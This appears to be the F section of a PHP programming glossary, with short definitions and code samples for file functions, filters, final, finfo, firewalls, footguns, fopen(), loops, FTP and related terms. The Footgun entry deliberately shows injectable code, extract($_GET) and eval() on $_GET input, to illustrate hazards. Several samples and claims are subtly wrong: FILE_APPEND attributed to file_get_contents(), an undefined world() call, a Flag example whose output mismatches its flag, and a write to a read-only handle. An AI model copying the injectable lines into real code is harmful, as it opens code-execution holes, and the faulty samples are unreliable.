Files are typically organized into a hierarchical structure called a file system, which helps to manage and organize them. Each file is identified by a unique name, which allows it to be located and accessed within the file system. Files can be stored on different types of storage media, including hard drives, solid-state drives, network storage, and removable storage devices such as USB drives.
A file consists of two main components: the file name and the file content. The file name is used to identify and refer to the file, while the file content contains the actual data stored within the file. The content can vary depending on the type of file, such as plain text, binary data, or specific file formats.
A file is a resource for recording data on a computer storage device, such as a hard drive or memory.
file:// is also the name of a wrapper, for stream.
<?php
file_put_contents('file.txt', 'some text.');
?>
See Also
Related
- file://
- File System
- Universal Resource Locator (URL)
- Universal Resource Identifier (URI)
- Stream
- Dir
- File Extension
- Magic Bytes
- Path
- zlib extension
- Configuration
- Existence
- fopen()
- Permission
- include
- SplFileInfo
- SplFileObject
- EXIF (Exchangeable Image File Format)
- fread()
- fseek()
- ftell()
- rewind()
- fclose()
- fgetc()
- fgets()
- fwrite()
file_get_contents()
file_get_contents() is a PHP native function, which reads all data from a file, in one call. The function requires the file name, or a valid URI, with its path of storage in the file system.
The function also includes options to handle concurrency with locks; to append data rather than overwrite them with FILE_APPEND, and a restriction to use file in the include_path configuration.
file_get_contents() returns a string, or false in case of error. The maximum size of the returned string may be limited by configuration.
file_get_contents() works with streams to reach network files. It also supports wrappers, to use various predefined and custom protocols, such as https, file, zip, etc.
<?php
$json = file_get_contents('/path/to/config.json');
?>
See Also
Related
- Universal Resource Identifier (URI)
- False
- String
- Stream
- Wrapper
- $http_response_header
- file_put_contents()
- php://input
- php://memory
- File Mode
- php://tmp
- Universal Resource Locator (URL)
- fread()
- Hyper Text Transfer Protocol (HTTP)
- max_filter_count
- Server-Side Request Forgery (SSRF)
- stream_context_create()
file_put_contents()
file_put_contents() is a PHP native function, which stores data in a file, in one call. The function requires only the file name, with its path of storage in the file system, and the actual data to store.
The function also include options to handle concurrency with locks; to append data rather than overwrite them with FILE_APPEND, and a restriction to use file in the include_path configuration.
file_put_contents() accepts about any type of data, to store them on a file, yet strings are the best fitted for that. Scalar types are converted to a string; arrays are imploded, with the empty string as separator, and no recursive processing, and objects are converted to string, when the magic method __toString() is available, otherwise, they are ignored.
<?php
file_put_contents('/tmp/path/to/file.txt', 'Hello file');
?>
See Also
Related
- include_path
- Lock
- Concurrency
- file_get_contents()
- Empty String
- Array, []
- File Mode
- php://memory
- php://output
- php://tmp
File System
A file system is a method or structure used by operating systems to organize, store, and manage files and data on storage devices such as hard drives, solid-state drives, USB drives, and network-attached storage. It provides a logical and efficient way to store and retrieve data on these storage media.
<?php
file_put_contents('file.txt', 'some text.');
?>
See Also
Related
Related packages
FileSystemIterator
The FilesystemIterator class is part of the SPL Library and is used for iterating over the contents of a directory. It extends the DirectoryIterator class and provides additional features for working with file system entries.
<?php
$it = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::CURRENT_AS_FILEINFO);
foreach ($it as $fileinfo) {
echo $fileinfo->getFilename() . \n;
}
?>
See Also
Related
filter
The filter extension is a built-in extension that provides an efficient way to filter, validate and sanitize data. Give it a string, and check that it satisfies a specific format.
filter works on incoming data, such as $_GET or $_POST, but also on free variables.
<?php
$data = [
'age' => '123 years',
'name' => 'John Doe',
];
$filters = [
'age' => FILTER_VALIDATE_INT,
'name' => FILTER_SANITIZE_ENCODED,
];
print_r(filter_var_array($data, $filters));
?>
See Also
Related
Related packages
Filter_var()
filter_var() filters a single variable with a specified filter, either validating its content or sanitizing it.
The first argument is the value to filter. The second argument is one of the FILTER_VALIDATE_* or FILTER_SANITIZE_* constants, such as FILTER_VALIDATE_EMAIL, FILTER_VALIDATE_INT or FILTER_SANITIZE_FULL_SPECIAL_CHARS, defaulting to FILTER_DEFAULT when omitted.
Validation filters return the filtered value, converted to the expected type, or false when the value does not pass validation. Since false is also a legitimate filtered value for some filters, it is recommended to compare the result with === rather than relying on truthiness. An optional third argument accepts flags and options, such as a regular expression for FILTER_VALIDATE_REGEXP.
<?php
$email = 'user@example.com';
if (filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
print 'Invalid email address';
} else {
print 'Valid email address';
}
?>
See Also
Related
Final Class Constants
Using the final option with class constants, the constant cannot be redefined by a child class. It is not possible to give it a new value or visibility.
It yields a fatal error: y::x cannot override final constant.
<?php
class Elephpant {
final public const HABITAT = 1;
public const WEIGHT = 2;
}
class Calf extends Elephpant {
// this is an error
public const WEIGHT = 3;
}
?>
See Also
- PHP RFC: Enable never as a stand-alone return type / Final class constants
- PHP: The final Keyword - Manual
Related
Final Keyword
The final keyword prevents child classes from overriding a method or a constant by prefixing the definition with final.
The final keyword cannot be used with the private keyword: a private method is not visible in the child classes, and can’t also be redefined.
<?php
final class Elephpant {
final const HABITAT = 1;
final function method() { }
}
?>
See Also
- Final Classes: Open for Extension, Closed for Inheritance
- How to Mock Final Classes in PHPUnit
- Why (nearly) every PHP class you write should be abstract or final
- When to declare classes final
Related
- Overwrite
- Private Visibility
- Abstract Class
- Abstract Keyword
- Static Constant
- Final Class Constants
- Fluent Interface
- Object
- Protected Visibility
- Public Visibility
- Abstract Method
- Concrete Method
- Var
Finally
Finally is the default clause of a try-catch expression. It is run after all the catch clauses have been called.
Finally is run every time after a try, with or without any catch clause. It is also run before the return expression, if any.
<?php
try {
doSomething();
} catch (\Exception $e) {
print "An exception was raised and caught";
} finally {
print "Finally\n";
}
?>
See Also
Related
finfo
finfo is a native PHP class, part of the Fileinfo extension, that detects the MIME type and encoding of a file or a string buffer by inspecting its content, using the libmagic library, rather than trusting its filename or extension.
finfo is instantiated with a mode constant, such as FILEINFO_MIME_TYPE, and then queried with $finfo->file($path) or $finfo->buffer($content).
Since the value provided by $_FILES[...]['type'] is supplied by the client and cannot be trusted, finfo is the recommended way to validate the real type of an uploaded file before storing or processing it. It replaces the deprecated mime_content_type() function.
<?php
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['userfile']['tmp_name']);
if ($mimeType !== 'image/png') {
throw new RuntimeException('Only PNG files are allowed.');
}
?>
See Also
Related
Fingerprint
A fingerprint is a compact, deterministic identifier derived by hashing a set of attributes that together describe something uniquely. The same inputs always produce the same fingerprint; different inputs produce a different one.
In the context of HTTP request idempotency, a request fingerprint is computed from the method, route, query string, payload, and content type. It is stored alongside the idempotency key so that retried requests carrying the same key but a different payload can be detected and rejected.
More broadly, fingerprinting is used for cache keying, change detection, file integrity checks, and browser device identification.
<?php
$fingerprint = hash('sha256', implode('|', [
$request->method(),
$request->path(),
$request->getQueryString() ?? '',
$request->getContent(),
$request->header('Content-Type', ''),
]));
?>
See Also
Related
Finite State Machine (FSM)
A finite state machine, also called FSM, also called a finite automaton, plural automata, is a mathematical model used to design systems that can be in one of a finite number of states at any given time. The machine transitions between these states in response to inputs or events, following a set of rules.
See Also
Related
Related packages
Fire-and-forget
Fire-and-forget is a pattern where a task is dispatched and the caller does not wait for its result, does not check for errors, and does not expect a return value. The caller continues execution immediately after dispatching.
Common uses include sending emails, dispatching jobs to a queue, logging, analytics events, and cache invalidation: any side-effect that should not delay the main response.
In synchronous code, fire-and-forget is often approximated by closing the HTTP response early, fastcgi_finish_request(), and continuing processing, or by pushing work onto a message queue, like Redis, RabbitMQ, SQS, etc. With fibers or async runtimes such as ReactPHP, AMPHP, Revolt, etc. true non-blocking dispatch becomes possible.
The risk of fire-and-forget is silent failure: if the dispatched task errors, the caller has no way to detect or recover from it. Robust implementations route failures to a dead-letter queue or structured log.
<?php
// Approximated in sync PHP via fastcgi_finish_request()
ob_start();
echo 'Response sent to client.';
$size = ob_get_length();
header('Content-Length: ' . $size);
header('Connection: close');
ob_end_flush();
flush();
fastcgi_finish_request(); // client receives the response here
// Work runs after the client is disconnected
dispatch_slow_email($user);
// With a queue (true fire-and-forget)
$queue->push(new SendEmailJob($user));
// caller does not wait — queue worker handles it asynchronously
?>
See Also
Related
Firewall
A firewall, in a web application, is a layer that inspects incoming requests and decides which ones are allowed to reach the application, before any business logic runs. The term covers two related but distinct things in the PHP ecosystem.
At the infrastructure level, a WAF, Web Application Firewall, sits in front of the application, at the network or reverse-proxy layer, filtering requests based on patterns: blocking SQL injection attempts, known bad IP ranges, or malformed requests, entirely outside of PHP.
At the application level, frameworks such as Symfony use firewall to name a configured authentication pipeline: each firewall matches a set of URL patterns and defines how users are identified, login form, API token, JWT, for the requests that fall under it. A request that fails to authenticate against its firewall is rejected before reaching any controller, exactly like a network firewall rejects a packet before it reaches a service.
Both meanings share the same idea: a firewall is a checkpoint that lets legitimate traffic through and stops the rest as early as possible, minimising the amount of code that has to defend itself against malicious input.
<?php
// Application-level firewall: a minimal authentication gate in front of routes,
// conceptually similar to Symfony's security firewalls.
final class Firewall
{
/** @param array<string,string> $patterns URL pattern => required role */
public function __construct(private array $patterns, private AuthChecker $auth) {}
public function handle(string $path, ?string $token): void
{
foreach ($this->patterns as $pattern => $role) {
if (!preg_match($pattern, $path)) {
continue; // this firewall segment doesn't cover the request
}
if (!$this->auth->isGranted($token, $role)) {
throw new UnauthorizedException("Access denied to $path");
}
return; // authenticated: request may proceed to the controller
}
}
}
$firewall = new Firewall(
patterns: ['#^/admin#' => 'ROLE_ADMIN', '#^/api#' => 'ROLE_API'],
auth: new AuthChecker(),
);
$firewall->handle('/admin/users', token: null); // rejected before reaching any controller
?>
See Also
Related
Related packages
First Class Callable
First Class Callable Syntax is a new feature that creates a closure directly from a function, by using the triple dot operator as an argument.
First class callable may be used on functions, closures, arrow functions and methods and static methods.
The number of arguments is not important: it is the same as the actual definition of the underlying method, and will be checked at call time only.
Such closure may be created using any kind of function, such as native PHP function, or library methods.
<?php
$a = trumpet(...);
$function = strtolower(...);
$closure = Elephpant::staticMethod(...);
?>
See Also
Related
First-Class Module
A module can itself be treated as an ordinary value, in OCaml and a few other ML-family languages. The module is passed as a function argument, returned from a function, stored in a data structure, or chosen at runtime among several implementations of the same module signature, using a construct such as (module M : SIG). This lets an entire package of types and functions be selected or swapped dynamically, the way an object implementing an interface would be in an object-oriented language, but at the granularity of a whole module rather than a single instance.
This differs from ordinary module systems, where a module is only a static, compile-time unit of organization: something that import by name, but never hold, pass around, or compute with as a value.
PHP has no module construct at all, first-class or otherwise; a namespace is a compile-time naming device with no runtime representation and cannot be assigned to a variable, passed as an argument, or chosen dynamically. The closest PHP comes to swapping an entire package of related functionality at runtime is choosing between classes, typically through dependency injection or a factory that returns different objects implementing the same interface.
See Also
Related
Fixture
A fixture is a set of test data. They are used to set up the environment in a known state, so that to run the test in good conditions.
Fixtures typically populate a database, a filesystem, or an object graph with predictable values before a test runs, and are torn down afterward so that one test cannot leak state into the next. With PHPUnit, this is often done through setUp() and tearDown() methods, or through dedicated fixture files loaded per test case or test suite.
Good fixtures make tests deterministic and repeatable: the same input state produces the same result every time, regardless of the order in which tests run or what ran before them. Poorly managed fixtures, by contrast, are a common source of flaky tests, since hidden dependencies between tests can make outcomes depend on execution order.
See Also
Related
Flag
A flag is another name for an option. Often, flags are booleans: they are either on, or off.
Flags are often consecutive powers of 2, so they can be merged together by addition + or by logical or |, and passed as one.
Example of flags:
preg_match(), fourth argument:PREG_OFFSET_CAPTUREandPREG_UNMATCHED_AS_NULL;json_decode(), fourth argument:JSON_BIGINT_AS_STRING,JSON_INVALID_UTF8_IGNORE,JSON_INVALID_UTF8_SUBSTITUTE,JSON_OBJECT_AS_ARRAY,JSON_THROW_ON_ERROR;ArrayObject::setFlags(), first argument:ArrayObject::STD_PROP_LISTorArrayObject::ARRAY_AS_PROPS.
<?php
$string = 'adg';
preg_match('/([abc])([def])/', $string, $r, PREG_OFFSET_CAPTURE);
print_r($r);
/**
Array
(
[0] => ad
[1] => a
[2] => d
)
*/
preg_match('/([abc])([def])/', $string, $r, PREG_OFFSET_CAPTURE);
print_r($r);
/**
Array
(
[0] => Array
(
[0] => ad
[1] => 0
)
[1] => Array
(
[0] => a
[1] => 0
)
[2] => Array
(
[0] => d
[1] => 1
)
)
*/
?>
See Also
Related
Flame Graph
Flame graphs are a visualization tool used to understand where a program spends its time, especially useful for performance profiling.
They help quickly spot hot paths in code: functions or routines that consume the most CPU or other resources.
See Also
- Profiling PHP in production at scale
- Flamboyant Flamegraphs
- Flamegraphs with xDebug
- How to generate PHP Flamegraphs
- Flamegraph with xhprof on buggregator
Related
Related packages
Flexibility
Flexibility means that a piece of code can change the way it works, without changing the code that uses it.
The piece of code may be refactored, or changed in place, or it may also be duplicated with another method. Mocking, or the ability to emulate a simpler version of a class, is also a possible inner working change.
Abstraction, with interfaces, proxy classes or relay functions, are ways to introduce flexibility.
The opposite of flexibility is rigidity.
See Also
Related
Floating Point Numbers
Floating point numbers, also known as floats, doubles, or real numbers, can be specified using a decimal dot and a mantissa.
They may also use a number separator _: it may be placed anywhere between two digits, to help make the number more readable.
Floats used to be called real, though this was abandoned progressively, since PHP 7.0.
Floats are stored in binary, and most decimal fractions, such as 0.1, have no exact binary representation. This makes direct equality comparison a classic bug: 0.1 + 0.2 === 0.3 is false, since the actual stored value is 0.30000000000000004. To compare floats safely, check that the absolute difference is below a small tolerance, also known as an epsilon, rather than using == or ===.
<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
$d = 1_234.567; // as of PHP 7.4.0
var_dump(0.1 + 0.2 === 0.3); // false, classic bug
var_dump(abs((0.1 + 0.2) - 0.3) < PHP_FLOAT_EPSILON); // true, safe comparison
?>
See Also
- Floating Dangers in PHP
- Floating Point Math
- Comparing float value in PHP
- Death by a Thousand Rounds: PHP meets Money
Related
- Real Numbers
- Addition
- Multiplication
- Not A Number (NAN)
- PHP_INT_MAX
- PHP_INT_MIN
- Scalar Types
- Sign
- abs()
- PHP Natives
- Numeric Separator
- precision
- Double
- Logarithm
- Non-numeric
- Number
- Readable
- E
- Math
- serialize_precision
- Hexadecimal Integer
- is_float()
- Rounding
- Signed Integer
Fluent Interface
A fluent interface, or fluid interface, is an object-oriented API whose design relies extensively on method chaining.
A fluent interface is not related to an interface: it may be implemented without them.
<?php
class script {
function hello() {
print 'Hello ';
return $this;
}
function word() {
print 'word.';
return $this;
}
}
$script = new Script();
$script->hello()->world();
//
?>
See Also
Related
fnmatch()
fnmatch() is a native function for matching. it applies the shell wildcard patterns to a string, and returns if it matches or not.
Wildcards include:
*for anything?for zero or one character[]for a range of characters!to negate characters in a bracket syntax\as the escape character
The search is case sensitive.
This function is useful to emulate a common system of search.
Simpler search tools include str_contains() and strpos(), and more complex include preg_match().
<?php
$message = 'PHP rocks';
if (fnmatch('*r[oi]cks', $message)) {
echo 'But, of course...';
}
?>
See Also
Related
Folklore
The PHP community’s folklore is all the non-language related creations, that serves as a link in the community.
- ElePHPant
- Double claw hammer
- Wurst conference
- PHP 6
- Footgun
- Vanilla
- PHP is dead
- …This is by no mean an exhaustive list.
See Also
Related
Footgun
A footgun is a feature or a piece of code that makes it easy to unintentionally shoot oneself in the foot: it works as documented, yet its default behavior, its naming, or its side effects are so counter-intuitive that developers routinely misuse it and cause bugs, security holes, or data loss.
Unlike a straightforward bug, a footgun is working as intended: the language or the library designer chose that behavior on purpose, often for historical or backward-compatibility reasons. The danger comes from the gap between what the code looks like it does, and what it actually does.
PHP has accumulated a fair number of footguns over the years, among them:
eval(), which executes arbitrary strings as PHP code, and opens the door to code injection when fed external data- The
==comparison operator, whose type juggling once made'abc' == 0evaluate totrue extract(), which imports an entire array into the current symbol table, potentially overwriting existing variables- Variable variables
$$name, which make static analysis and refactoring unreliable - The
@error suppression operator, which silences every error, warning, and notice of an expression, hiding real problems unserialize()on untrusted data, which can trigger object injection through__wakeup()or__destruct()- Passing arguments by reference, which lets a function silently modify a variable in the caller’s scope
- Loose typing in
switchandin_array(), which relies on the same type juggling rules as== array_merge()versus the+operator on arrays, which handle numeric keys and duplicate keys very differently
Static analysis tools can flag most of these footguns automatically, before they misfire in production.
<?php
// Footgun: type juggling with ==
var_dump('abc' == 0); // true in version 7, false in version 8
// Footgun: extract() overwriting existing variables
$isAdmin = false;
extract($_GET); // if $_GET['isAdmin'] = 1, $isAdmin becomes 1
// Footgun: eval() on external data
eval('$name = ' . $_GET['name'] . ';'); // arbitrary code execution
// Footgun: @ hides the actual error
$data = @json_decode($json); // fails silently, $data is null
?>
See Also
Related
- Eval()
- extract()
- Error Suppression
- Variable Variables
- Type Juggling
- References
- Code Injection
- Anti-Pattern
- Code Smell
- Unserialization
fopen()
fopen() is a PHP native function which opens a file. It returns a file description, also called handle, that may be used with other PHP file functions to read and write data from and to the files.
fopen() may also be replaced by the SplFileObject class, which provides an OOP syntax alternative to access files.
<?php
$fp = fopen('/tmp/test.txt', 'r');
fwrite($fp, 'PHP rocks!');
fclose($fp);
?>
See Also
Related
- File
- Writing
- Permission
- Writeable
- Readable
- SplFileObject
- $http_response_header
- File Mode
- Resource Leak
- Text
- Handle
- Universal Resource Locator (URL)
- fread()
- fseek()
- ftell()
- rewind()
- fclose()
- fgetc()
- fgets()
- fwrite()
For
for() is a loop structure. It is configured with an initialization expression, an ending expression and an increment expression.
The for() loop executes the initialization expression first, and only once. Then it executes the block, the increment and the ending. When the ending is false, it exits the loop.
The initialization, ending and increment expression may all host several instructions: they have to be separated by comma, rather than semi colons.
Part of the block execution may be skipped by using the continue keyword.
<?php
/*
for(initialization; ending; increment) {
block
}
*/
for($i = 0; $i < 10; ++$i) {
print "$i\n";
}
for($i = 0, $j = 0; $i < 10; ++$i, $j += 2) {
print "$i $j\n"; // 1 2, 2 4, 3 6....
}
?>
See Also
Related
foreach()
foreach() is the most popular type of loop.
The foreach() loop uses all the elements of the source, and assign them to blind variables. By default, only the value is assigned; when using the $key => $value syntax, the key is also assigned. Then the block is executed with the assigned values.
The source may be an array, or an object with the Traversable interface: this includes iterators and generators, but also custom classes. Other types are forbidden.
Part of the block execution may be skipped by using the continue keyword.
The value may be a reference: then it actually references the original value, which then may be modified in the source. Do not forget to unset referenced variables after the loop, to avoid the dangling reference syndrome, when the last value is changed.
The value may be an array, collecting several values at the same time.
The value may be an list() construct: it sets several variables at the same time, to be used in the loop block. Any missing value yields a warning.
foreach() may also be replaced by array functions, such as array_map(), implode() or array_merge(), for specific operations. It is usually recommended to use native functions, when available.
<?php
/*
foreach($source as $key => $value) {
// block
}
*/
foreach([11,12,13] as $id => $value) {
print "$id => $value\n";
// 0 => 11
// 1 => 12
// 2 => 13
}
//foreach([[21,22], [33, 34]] as list($a, $b)) {
foreach([[21,22], [33, 34]] as [$a, $b]) {
print "$a $b\n";
// 21 22
// 33 34
}
?>
See Also
Related
- Continue
- For
- Loops
- While
- Do While
- As
- Control Flow
- Control Structures
- Iterator
- List
- Blind Variable
- ClosedGeneratorException
- IteratorAggregate
- Traversal
Foreign Key (FK)
A foreign key, or FK, is a column, or set of columns, in a relational database table that references the primary key of another table. It establishes and enforces a link between the two tables, ensuring that the referencing value actually exists in the referenced table.
Foreign keys are the mechanism behind referential integrity: the database engine rejects an insert or update that would point to a non-existent row, and, depending on the ON DELETE/ON UPDATE clause, either blocks, cascades, or nullifies dependent rows when the referenced row is deleted or changed.
In applications, foreign keys are usually declared in migrations, through an ORM such as Doctrine or Eloquent, or directly in SQL DDL. Bulk imports, ETL jobs, and data migrations are common places where foreign key violations surface, when a referenced row was skipped, renamed, or failed to convert, so the constraint is exactly what would catch that class of bug, if it is enforced instead of being disabled for import speed.
<?php
// Doctrine migration declaring a foreign key
$table->addColumn('customer_id', 'integer');
$table->addForeignKeyConstraint(
'customer',
['customer_id'],
['id'],
['onDelete' => 'CASCADE']
);
?>
See Also
Related
- Referential Integrity
- Database
- SQL Database
- Migration
- Cascading Failure
- Cascading
- Transaction
- Unique Identifier
Form
A form is a web page component to collect and submit information.
The form submits the information using HTTP protocol, and the GET or POST method. It is generally processed by the browser.
The form defines variable, whose content is submitted to the PHP script. Those values are accessed with $_GET, $_POST, $_REQUEST.
Form is an HTML element, in a web page. As such, it may be created by PHP, when PHP produces HTML documents.
See Also
Related
Related packages
Format
Format is a set of rules to structure a piece of text, and make it parsable by a specific engine. A piece of text may be in the format: then, it is usable as a command for another technology.
Formats have various shapes. Here are some examples of formats:
SQLStructure Query Language:SELECT column FROM table- Date and time:
2020-01-01 sprintf(), with%d 9- Regular expressions
YAMLINICSVJSON
It is possible to define one’s custom format. Common formats have comprehensive specifications, such as how to build them, and assorted tools, to encode, decode, use, combine, etc.
<?php
// displays 123 with 9 characters, and fills with dots any empty characters
// ......123
echo sprintf("%'.9d\n", 123);
?>
See Also
Related
- String
- Comma Separated Values (CSV)
- YAML Ain’t Markup Language (YAML)
- JavaScript Object Notation (JSON)
- Data
- sprintf
- printf()
- INI
- Leading Zero Means Octal
- Markdown
Forum
A forum is a web application that allows users to hold structured discussions online.
A forum, also called a discussion board, is software where users can:
- Create discussion topics
- Post replies
- Organize conversations into categories
- Interact through comments, reactions, or private messages
It’s one of the earliest and most common types of PHP web applications.
The PHP ecosystem offers a lot of forums. Here is a non-exhaustive list:
phpBBMyBBFlarumSimple Machines ForumXenForoPunBBElkArte.
Related
Forward Compatible
A forward compatible feature is a feature that will be available in future versions. In particular, it might be couple with a forward incompatible feature, which will be dropped, while the forward compatible feature will stay.
For example, PHP allows the increment of non-numeric strings. This feature might be deprecated, and could be removed in a future version, not defined at the time of writing. The functions str_increment() and str_decrement() were introduced in version 8.3. They can replace the current feature, and they will be available in the future versions, making them forward compatible.
<?php
$a = 't';
echo ++$a; //u
$a = str_increment($a);
echo $a; // v
?>
See Also
Related
Fossilized Methods
A method become fossilized when it is overwritten many times, creating a difficult update of the method signature, without impacting many parts of the code.
The easiest solution to this situation is to refrain from updating the signature anymore. At that point, the method is fossilized.
<?php
class Elephpant {
function trumpet(Herd $a) : array {}
}
class AfricanElephpant extends Elephpant {
function trumpet(Herd $a) : array {}
}
class AsianElephpant extends Elephpant {
function trumpet(Herd $a) : array {}
}
// Updating this method means updating AsianElephpant, AfricanElephpant, Elephpant...
class Calf extends Elephpant {
function trumpet(Herd $a) : array {}
}
?>
See Also
Related
FastCGI Process Manager (FPM)
FPM stands for FastCGI Process Manager. It is a PHP FastCGI implementation.
Instead of nesting PHP in the web server, php-fpm makes PHP a server by itself. The web server then delegates the work to the PHP server. The advantage is to lower the memory footprint of PHP and the web server, and the whole of them both. It helps with stability, by keeping the two processes separated.
See Also
- Why Do You Need PHP FastCGI Process Manager?
- How to Configure PHP-FPM with NGINX
- PHP FastCGI Process Manager - PHP-FPM
- The Quiet Shift Reshaping PHP Security
Related
Framework
A framework is a library of code and practices that helps building PHP applications. Frameworks provide common features, such as forms, authentications, templating, database access and security.
Frameworks are often described as a platform: they stand as a layer above PHP, with its own conventions and behaviors. PHP is the language of the framework, and the language used to extend the framework.
Frameworks provide a set of tools and components to build applications, though they usually do not provide a comprehensive service out of the box: the framework must be used to build the application, usually in an original and creative way. For example, a framework may be used to build a forum or a CMS, while the opposite is rarely possible.
There are lots of frameworks written with PHP. In alphabetical order, here is a non exhaustive list:
Aura <https://auraphp.com/>_Bolt CMS <https://boltcms.io/>_Code Igniter <https://codeigniter.com/>_CakePHP <https://cakephp.org/>_Cappuccino <https://www.cappuccino.dev/>_Drupal <https://www.drupal.org/>_e107 <https://e107.org/>_FuelPHP <https://fuelphp.com/>_Gyroscope <https://www.gyro-php.org/>_Hyperf <https://github.com/hyperf/hyperf>_Ibexa <https://www.ibexa.co/>_Joomla <https://www.joomla.org/>_Koala <http://www.koala-framework.org/>_Laminas <https://getlaminas.org/>_Laravel <https://laravel.com/>_Leafphp <https://leafphp.dev/>_Light-php <https://github.com/bakeiro/Light-PHP.git>_LightMVC <https://github.com/lightmvc/lightmvcskel.git>_Lithium <https://li3.me/>_Medoo <https://medoo.in/>_Nette <https://nette.org/en/>_October <https://octobercms.com/>_Phalcon <https://phalcon.io/en-us>_Prado <http://www.pradoframework.net/site/>_Qcodo <https://github.com/qcodo/qcodo.git>_redcatphp <https://github.com/redcatphp/redcatphp>_Slim <https://www.slimframework.com/>_Symfony <https://symfony.com/>_Typo3 <https://typo3.org/>_Ubiquity <https://github.com/phpMv/ubiquity>_Wordpress <https://www.wordpress.org/>_X <https://github.com/clue/framework-x.git>_Yii <https://www.yiiframework.com/>_Zend Framework <https://framework.zend.com/>_
This is not an exhaustive list.
See Also
Related
- Form
- Authentication
- Security
- Template
- Database
- Content Management System (CMS)
- Forum
- Laravel
- NativePHP
- Symfony
- Tempest
- Library
- Marketplace
- Micro-framework
- Spiral
- Xdebug
- Magento
- Opinionated
- Wiki
- Zero-code
fread()
fread() is a PHP native function that reads up to length bytes from the file pointer referenced by stream. It is one of the fundamental file reading functions.
Key characteristics:
- Returns a string of up to
lengthbytes, orfalseon failure - Reads binary-safe data, making it suitable for both text and binary files
- Stops reading when EOF, end of file, is reached or the specified length is reached
- For character encodings like UTF-8, reading by byte length may split multi-byte characters; consider using
fgetc()orfgets()for text files
fread() is typically used after fopen() and should be paired with fclose() to free resources. For reading entire files at once, file_get_contents() is more convenient. For line-by-line reading, fgets() is preferred.
<?php
$fp = fopen('data.txt', 'r');
if ($fp) {
// Read first 100 bytes
$content = fread($fp, 100);
echo $content;
// Read remaining content
$remaining = fread($fp, filesize('data.txt') - 100);
echo $remaining;
fclose($fp);
}
?>
See Also
Related
- fopen()
- fgets()
- fgetc()
- file_get_contents()
- File
- Stream
- fclose()
- fwrite()
- fseek()
- ftell()
- rewind()
- Readable
- Binary
- Resource Leak
Free
Free, or libre when the freedom sense needs to be distinguished from gratis, in a software context has two distinct meanings that are often conflated:
- Free as in freedom: the user has the right to run, study, modify, and redistribute the software. This is the definition used by the Free Software Foundation, FSF, and the GNU project. A free-as-in-freedom licence grants these four essential freedoms
- Free as in gratis: the software has no monetary cost. This says nothing about the rights granted to the user
- Free as in release memory: the action of releasing hold on a resource, such as memory, file handler, etc. PHP implicitly frees resources when leaving a context, or finishing execution
PHP itself is free in both senses: it has no cost and its source code is open and modifiable. However, PHP applications can be distributed under any licence, including proprietary ones.
The distinction matters when evaluating dependencies: a library that is free-of-charge but does not allow redistribution or modification is not free software. Open source licences generally grant both freedoms, though GPL is copyleft and imposes conditions on derived works.
See Also
Related
Front-end
Front-end refers to the software that runs on the client, and not on the servers. Javascript is a typical front-end language.
The complement to front-end is the backend.
See Also
Related
fseek()
fseek() is a native PHP function that sets the file position indicator for a file pointer.
It moves the file pointer to a specified position, allowing random access to file content. This is useful for reading or writing specific parts of a file without processing the entire file.
<?php
$fp = fopen('/tmp/test.txt', 'r');
// Skip first 10 bytes
fseek($fp, 10);
// Move to end of file
fseek($fp, 0, SEEK_END);
// Move back 5 bytes from current position
fseek($fp, -5, SEEK_CUR);
?>
See Also
- fopen
- [ftell](https://www.php.net/manual/en/function.ftell.php; seeAlso[rewind] = https://www.php.net/manual/en/function.rewind.php)
Related
ftell()
ftell(), or file tell, is a PHP native function that returns the current position of the file pointer for an open file stream. The position is measured in bytes from the beginning of the file.
Key characteristics:
- Returns the current position as an integer, or
falseon failure - The file pointer position advances as data is read or written
- Useful for tracking progress through a file or for implementing file-based protocols
- The position can be changed with
fseek()and reset withrewind()
ftell() is commonly used in combination with fseek() to implement random access file operations, and with fread() to determine how much data has been read.
<?php
$fp = fopen('data.txt', 'r');
if ($fp) {
echo 'Initial position: ' . ftell($fp) . "\n"; // 0
fread($fp, 10);
echo 'After reading 10 bytes: ' . ftell($fp) . "\n"; // 10
fseek($fp, 0, SEEK_END);
echo 'File size: ' . ftell($fp) . "\n";
fclose($fp);
}
?>
See Also
Related
File Transfer Protocol (FTP)
FTP stands for File Transfer Protocol. It is a protocol to transfer files between servers.
PHP supports FTP and FTPS, through the ext/ftp extension, the ext/curl extension and the internal wrappers.
<?php
$ftp = ftp_connect($ftpAddress);
$upload = ftp_put($ftp, $destinationPath, $sourceFile, FTP_BINARY);
if (!$upload) {
echo "FTP upload has failed!";
} else {
echo "Uploaded $source_file to $ftp_server as $destination_file";
}
ftp_close($ftp);
?>
See Also
Related
File Transfer Protocol Secure (FTPS)
FTPS stands for File Transfer Protocol Secure. It is a protocol to transfer files between servers, over a secure connection.
PHP supports FTP and FTPS, through the ext/ftp extension, the ext/curl extension and the internal wrappers.
<?php
$ftp = ftp_connect($ftpAddress);
$upload = ftp_put($ftp, $destinationPath, $sourceFile, FTP_BINARY);
if (!$upload) {
echo "FTPS upload has failed!";
} else {
echo "Uploaded $source_file to $ftp_server as $destination_file";
}
ftp_close($ftp);
?>
See Also
Related
Fully Qualified Name
A fully qualified name, or FQN, or a fully qualified class name, FQCN, is a unique identifier for the PHP name of a constant, class, trait, interface, enum or function. A fully qualified name includes its namespace name.
PHP names may be fully qualified, unqualified or relative.
Fully qualified names are usually considered hard to read, and are shortened by using the use import keyword.
<?php
namespace Savanna {
const HABITAT = 1;
function trumpet() {
// This is a local name: the namespace Savanna is optional.
// The fully qualified name is \Savanna\HABITAT;
echo HABITAT;
// This is a fully qualified name
echo \Savanna\HABITAT;
}
}
?>
See Also
Related
func_get_args()
func_get_args() is a native function that returns an array containing the function’s argument list.
It is often used to handle a variable number of arguments in a function, especially before the introduction of the variadic operator ... in version 5.6.
There are related functions: func_get_arg(), which returns a specific argument from the list, and func_num_args(), which returns the number of arguments passed to the function.
<?php
function trumpet() {
$numargs = func_num_args();
echo "Number of arguments: $numargs\n";
if ($numargs >= 2) {
echo "Second argument is: " . func_get_arg(1) . "\n";
}
$arg_list = func_get_args();
for ($i = 0; $i < $numargs; $i++) {
echo "Argument $i is: " . $arg_list[$i] . "\n";
}
}
trumpet(1, 2, 3);
?>
See Also
Related
- Variable Arguments
- Variadic
- Arbitrary Number Of Argument
- Method Overloading
- Compiler Optimized Function
Function Subscripting
Function subscripting is the ability to apply operators like ->, ?-> or [<index>] directly on the results of a method call.
